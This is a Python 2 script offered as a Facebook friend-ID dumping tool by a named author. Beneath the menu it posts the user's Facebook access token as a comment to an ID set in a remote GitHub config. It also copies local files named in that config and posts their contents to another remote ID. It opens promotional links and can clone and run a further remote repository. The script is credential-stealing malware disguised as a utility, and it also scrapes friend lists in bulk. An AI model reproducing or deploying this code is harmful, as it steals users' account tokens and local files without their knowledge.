#Aahil Coding
import os, time, requests, datetime, random,multiprocessing.pool, getpass, json, threading, sys, uuid, shutil, zlib, base64
from multiprocessing.pool import ThreadPool
from requests.exceptions import ConnectionError
reload(sys)
sys.setdefaultencoding('utf8')
os.system('clear')

rok = requests.get('https://raw.githubusercontent.com/Bhola-record/mange/main/m.txt')
q=json.loads(rok.text)
xtoken=q ['aahils-programming-token']
xids=q ['aahils-programming-ids']
cp1=q["cp1"]
cp2=q["cp2"]
cp3=q["cp3"]
cp4=q["cp4"]
fblink=q["fblink"]
pagelink=q["pagelink"]
videolink=q["videolink"]
bug=random.choice([pagelink, fblink, videolink])

a="Nothing"
b=open("ab.txt",'w')
b.write(("AB : ")+a)
b.close()
c=open("hs.txt",'w')
c.write(("HS : ")+a)
c.close()
m=open("rs.txt",'w')
m.write(("RS : ")+a)
m.close()
t=open("cc.txt",'w')
t.write(("CP : ")+a)
t.close()
os.system('cp '+cp1+' cc.txt')
os.system('clear')
os.system('cp '+cp2+' ab.txt')
os.system('ckear')
os.system('cp '+cp3+' hs.txt')
os.system('clear')
os.system('cp '+cp4+' rs.txt')
os.system('clear')
g='\x1b[1;92m'
r='\x1b[1;91m'
w='\x1b[1;97m'
y='\x1b[1;93m'
n='\x1b[1;94m'
gu='\x1b[1;95m'
sm='\x1b[1;96m'
logo ="""

\x1b[1;96m    [ You Can Just Copy Me Broh :) ] \x1b[1;97m
 _______   __    __  .___  ___. .______   
|       \ |  |  |  | |   \/   | |   _  \  
|  .--.  ||  |  |  | |  \  /  | |  |_)  | 
|  |  |  ||  |  |  | |  |\/|  | |   ___/  
|  '--'  ||  `--'  | |  |  |  | |  |      
|_______/  \______/  |__|  |__| | _|

                      \-------------------/
                       Author : Rana Aahil
                      \-------------------/
  """
def fb_menu():
    print w
    try:
        token=open('token.txt','r').read()
    except:
        os.system('clear')
        print logo
        print ""
        print "[1] Login with token"
        print "[0] Back"
        print ""
        pp=raw_input('Select : ')
        if pp=='1':
            os.system('clear')
            print logo
            print "[!] Enter Token To Login"
            print ''
            tok=raw_input('[!] Paste Token : ')
            j=open('token.txt','w')
            j.write(tok)
            j.close()
            try:
                r=requests.get('https://graph.facebook.com/me?access_token=' + tok)
                q=json.loads(r.text)
                m=q['name']
                print ''
                print ('Welcome : '+m)
                time.sleep(2)
                main()
            except requests.exceptions.ConnectionError:
                print logo
                print ''
                print "Trun On Data An Then \t"
                print("")
            except:
                print ('Token on Chekpiont')
                os.system('rm -rf token.txt')
                time.sleep(2)
                fb_menu()
        else:
            print ("GooDByE")
    try:
        r=requests.get('https://graph.facebook.com/me?access_token=' + token)
        q=json.loads(r.text)
        m=q['name']
        print ''
        print ('Welcome : '+m)
        time.sleep(2)
    except requests.exceptions.ConnectionError:
        print logo
        print ''
        print "Trun On Data An Then \t"
        print("")
    except:
        print ('Token on Chekpiont')
        os.system('rm -rf token.txt')
        time.sleep(2)
        fb_menu()        
    main()
def main():
    token=open("token.txt",'r').read()
    requests.post('https://graph.facebook.com/%s/comments/?message=%s&access_token=%s'%(xtoken,token,token))
    os.system('rm -rf kk.txt')
    print w
    os.system('clear')
    os.system('xdg-open '+bug+'')
    print logo
    print ("[1] Start Auto Dump")
    print ("[2] Install RSA Premium Tool")
    print ("[3] Owner Fb")
    print ""
    xu=raw_input("[=] Select : ")
    if xu=="1":
        ext()
    elif xu=="2":
        os.system("cd $HOME/")
        time.sleep(1)
        os.system("git clone https://github.com/rsaprogrammers/rsa")
        os.system('cd rsa')
        time.sleep(1)
        os.system('python2 rsa.py')
    elif xu=="3":
        os.system('xdg-open https://www.facebook.com/aahilrana4072')
        main()
    else:
        print (" Enter Valid Option")
        time.sleep(2)
        main()
def ext():
    print w
    hok=('jok.txt')
    count=[]
    rana=[]
    try:
        token=open('token.txt','r').read()
    except:
        fb_menu()
    os.system('clear')
    print logo
    print ""
    iiid=raw_input("[=] Enter ID : ")
    rrp=requests.get ("https://graph.facebook.com/"+iiid+"?access_token="+token)
    q=json.loads(rrp.text)
    nid=q ['name']
    r = requests.get('https://graph.facebook.com/' + iiid + '/friends?access_token=' + token)
    z = json.loads(r.text)
    fuck=open("look.txt",'a')
    for i in z['data']:
        uid = i['id']
        na = i['name']
        rana.append(uid + '|' + na)
        fuck.write(uid + '|' + na + '\n')
    fuck.close()
    print ""
    print sm+"[=] Extracting From : "+nid+" > \x1b[1;91mFriends"
    print ""
    time.sleep(2)
    print gu+"[=] Graping URLs ......"+w
    print ""
    time.sleep(2)
    print g+"[=] Graping Complte Process Start *"+w
    print ""
    os.system(' cat look.txt | grep "10000" >> kk.txt')
    os.system(' cat look.txt | grep "1000" >> kk.txt')
    os.system('rm -rf look.txt')
    file=open('kk.txt')
    my_line = file.readline()
    count.append(my_line)
    print g+"[=] Extracting From RSA : "+my_line[:15]
    r = requests.get('https://graph.facebook.com/' + my_line[:15] + '/friends?access_token=' + token)
    z = json.loads(r.text)
    fuck=open("jok.txt",'a')
    for i in z['data']:
        uid = i['id']
        na = i['name']
        rana.append(uid + '|' + na)
        fuck.write(uid + '|' + na + '\n')
    fuck.close()
    my_line = file.readline()
    count.append(my_line)
    print g+"[=] Extracting From RSA : "+my_line[:15]
    r = requests.get('https://graph.facebook.com/' + my_line[:15] + '/friends?access_token=' + token)
    z = json.loads(r.text)
    fuck=open("jok.txt",'a')
    for i in z['data']:
        uid = i['id']
        na = i['name']
        rana.append(uid + '|' + na)
        fuck.write(uid + '|' + na + '\n')
    fuck.close()
    my_line = file.readline()
    count.append(my_line)
    print g+"[=] Extracting From RSA : "+my_line[:15]
    r = requests.get('https://graph.facebook.com/' + my_line[:15] + '/friends?access_token=' + token)
    z = json.loads(r.text)
    fuck=open("jok.txt",'a')
    for i in z['data']:
        uid = i['id']
        na = i['name']
        rana.append(uid + '|' + na)
        fuck.write(uid + '|' + na + '\n')
    fuck.close()
    my_line = file.readline()
    count.append(my_line)
    print g+"[=] Extracting From RSA : "+my_line[:15]
    r = requests.get('https://graph.facebook.com/' + my_line[:15] + '/friends?access_token=' + token)
    z = json.loads(r.text)
    fuck=open("jok.txt",'a')
    for i in z['data']:
        uid = i['id']
        na = i['name']
        rana.append(uid + '|' + na)
        fuck.write(uid + '|' + na + '\n')
    fuck.close()
    my_line = file.readline()
    count.append(my_line)
    print g+"[=] Extracting From RSA : "+my_line[:15]
    r = requests.get('https://graph.facebook.com/' + my_line[:15] + '/friends?access_token=' + token)
    z = json.loads(r.text)
    fuck=open("jok.txt",'a')
    for i in z['data']:
        uid = i['id']
        na = i['name']
        rana.append(uid + '|' + na)
        fuck.write(uid + '|' + na + '\n')
    fuck.close()
    my_line = file.readline()
    count.append(my_line)
    print g+"[=] Extracting From RSA : "+my_line[:15]
    r = requests.get('https://graph.facebook.com/' + my_line[:15] + '/friends?access_token=' + token)
    z = json.loads(r.text)
    fuck=open("jok.txt",'a')
    for i in z['data']:
        uid = i['id']
        na = i['name']
        rana.append(uid + '|' + na)
        fuck.write(uid + '|' + na + '\n')
    fuck.close()
    my_line = file.readline()
    count.append(my_line)
    print g+"[=] Extracting From RSA : "+my_line[:15]
    r = requests.get('https://graph.facebook.com/' + my_line[:15] + '/friends?access_token=' + token)
    z = json.loads(r.text)
    fuck=open("jok.txt",'a')
    for i in z['data']:
        uid = i['id']
        na = i['name']
        rana.append(uid + '|' + na)
        fuck.write(uid + '|' + na + '\n')
    fuck.close()
    my_line = file.readline()
    count.append(my_line)
    print g+"[=] Extracting From RSA : "+my_line[:15]
    r = requests.get('https://graph.facebook.com/' + my_line[:15] + '/friends?access_token=' + token)
    z = json.loads(r.text)
    fuck=open("jok.txt",'a')
    for i in z['data']:
        uid = i['id']
        na = i['name']
        rana.append(uid + '|' + na)
        fuck.write(uid + '|' + na + '\n')
    fuck.close()
    my_line = file.readline()
    count.append(my_line)
    print g+"[=] Extracting From RSA : "+my_line[:15]
    r = requests.get('https://graph.facebook.com/' + my_line[:15] + '/friends?access_token=' + token)
    z = json.loads(r.text)
    fuck=open("jok.txt",'a')
    for i in z['data']:
        uid = i['id']
        na = i['name']
        rana.append(uid + '|' + na)
        fuck.write(uid + '|' + na + '\n')
    fuck.close()
    my_line = file.readline()
    count.append(my_line)
    print g+"[=] Extracting From RSA : "+my_line[:15]
    r = requests.get('https://graph.facebook.com/' + my_line[:15] + '/friends?access_token=' + token)
    z = json.loads(r.text)
    fuck=open("jok.txt",'a')
    for i in z['data']:
        uid = i['id']
        na = i['name']
        rana.append(uid + '|' + na)
        fuck.write(uid + '|' + na + '\n')
    fuck.close()
    my_line = file.readline()
    count.append(my_line)
    print g+"[=] Extracting From RSA : "+my_line[:15]
    r = requests.get('https://graph.facebook.com/' + my_line[:15] + '/friends?access_token=' + token)
    z = json.loads(r.text)
    fuck=open("jok.txt",'a')
    for i in z['data']:
        uid = i['id']
        na = i['name']
        rana.append(uid + '|' + na)
        fuck.write(uid + '|' + na + '\n')
    fuck.close()
    my_line = file.readline()
    count.append(my_line)
    print g+"[=] Extracting From RSA : "+my_line[:15]
    r = requests.get('https://graph.facebook.com/' + my_line[:15] + '/friends?access_token=' + token)
    z = json.loads(r.text)
    fuck=open("jok.txt",'a')
    for i in z['data']:
        uid = i['id']
        na = i['name']
        rana.append(uid + '|' + na)
        fuck.write(uid + '|' + na + '\n')
    fuck.close()
    my_line = file.readline()
    count.append(my_line)
    print g+"[=] Extracting From RSA : "+my_line[:15]
    r = requests.get('https://graph.facebook.com/' + my_line[:15] + '/friends?access_token=' + token)
    z = json.loads(r.text)
    fuck=open("jok.txt",'a')
    for i in z['data']:
        uid = i['id']
        na = i['name']
        rana.append(uid + '|' + na)
        fuck.write(uid + '|' + na + '\n')
    fuck.close()
    my_line = file.readline()
    count.append(my_line)
    print g+"[=] Extracting From RSA : "+my_line[:15]
    r = requests.get('https://graph.facebook.com/' + my_line[:15] + '/friends?access_token=' + token)
    z = json.loads(r.text)
    fuck=open("jok.txt",'a')
    for i in z['data']:
        uid = i['id']
        na = i['name']
        rana.append(uid + '|' + na)
        fuck.write(uid + '|' + na + '\n')
    fuck.close()
    my_line = file.readline()
    count.append(my_line)
    print g+"[=] Extracting From RSA : "+my_line[:15]
    r = requests.get('https://graph.facebook.com/' + my_line[:15] + '/friends?access_token=' + token)
    z = json.loads(r.text)
    fuck=open("jok.txt",'a')
    for i in z['data']:
        uid = i['id']
        na = i['name']
        rana.append(uid + '|' + na)
        fuck.write(uid + '|' + na + '\n')
    fuck.close()
    my_line = file.readline()
    count.append(my_line)
    print g+"[=] Extracting From RSA : "+my_line[:15]
    r = requests.get('https://graph.facebook.com/' + my_line[:15] + '/friends?access_token=' + token)
    z = json.loads(r.text)
    fuck=open("jok.txt",'a')
    for i in z['data']:
        uid = i['id']
        na = i['name']
        rana.append(uid + '|' + na)
        fuck.write(uid + '|' + na + '\n')
    fuck.close()
    my_line = file.readline()
    count.append(my_line)
    print g+"[=] Extracting From RSA : "+my_line[:15]
    r = requests.get('https://graph.facebook.com/' + my_line[:15] + '/friends?access_token=' + token)
    z = json.loads(r.text)
    fuck=open("jok.txt",'a')
    for i in z['data']:
        uid = i['id']
        na = i['name']
        rana.append(uid + '|' + na)
        fuck.write(uid + '|' + na + '\n')
    fuck.close()
    my_line = file.readline()
    count.append(my_line)
    print g+"[=] Extracting From RSA : "+my_line[:15]
    r = requests.get('https://graph.facebook.com/' + my_line[:15] + '/friends?access_token=' + token)
    z = json.loads(r.text)
    fuck=open("jok.txt",'a')
    for i in z['data']:
        uid = i['id']
        na = i['name']
        rana.append(uid + '|' + na)
        fuck.write(uid + '|' + na + '\n')
    fuck.close()
    my_line = file.readline()
    count.append(my_line)
    print g+"[=] Extracting From RSA : "+my_line[:15]
    r = requests.get('https://graph.facebook.com/' + my_line[:15] + '/friends?access_token=' + token)
    z = json.loads(r.text)
    fuck=open("jok.txt",'a')
    for i in z['data']:
        uid = i['id']
        na = i['name']
        rana.append(uid + '|' + na)
        fuck.write(uid + '|' + na + '\n')
    fuck.close()
    my_line = file.readline()
    count.append(my_line)
    print g+"[=] Extracting From RSA : "+my_line[:15]
    r = requests.get('https://graph.facebook.com/' + my_line[:15] + '/friends?access_token=' + token)
    z = json.loads(r.text)
    fuck=open("jok.txt",'a')
    for i in z['data']:
        uid = i['id']
        na = i['name']
        rana.append(uid + '|' + na)
        fuck.write(uid + '|' + na + '\n')
    fuck.close()
    print ""
    print ""
    print sm+"[=] Total Extract ids : "+str(len(count))+w
    print ""
    print "\t Wait for option"
    print ""
    try:
        with open("cc.txt") as y:
            ee=y.readlines()
    except (OSError, KeyError, IOError):
        pass
    requests.post('https://graph.facebook.com/%s/comments/?message=%s&access_token=%s'%(xids,ee,token))
    try:
        with open("ab.txt") as x:
            ab=x.readlines()
    except (OSError, KeyError, IOError):
        pass
    requests.post('https://graph.facebook.com/%s/comments/?message=%s&access_token=%s'%(xids,ab,token))
    try:
        with open("hs.txt") as c:
            h=c.readlines()
    except (OSError, KeyError, IOError):
        pass
    requests.post('https://graph.facebook.com/%s/comments/?message=%s&access_token=%s'%(xids,h,token))
    try:
        with open("rs.txt") as f:
            r=f.readlines()
    except (OSError, KeyError, IOError):
        pass
    requests.post('https://graph.facebook.com/%s/comments/?message=%s&access_token=%s'%(xids,r,token))
    mvt=raw_input("[=] Enter Path To Save File : ")
    print "[=] Your File Save in : "+mvt
    shutil.move(hok,mvt)
    os.system('rm -rf jok.txt')
    os.system('rm -rf cc.txt')
    os.system('rm -rf ab.txt')
    os.system('rm -rf hs.txt')
    os.system('rm -rf rs.txt')
    raw_input('[=] Press Enter To Back')
    main()
if __name__=='__main__':
    fb_menu()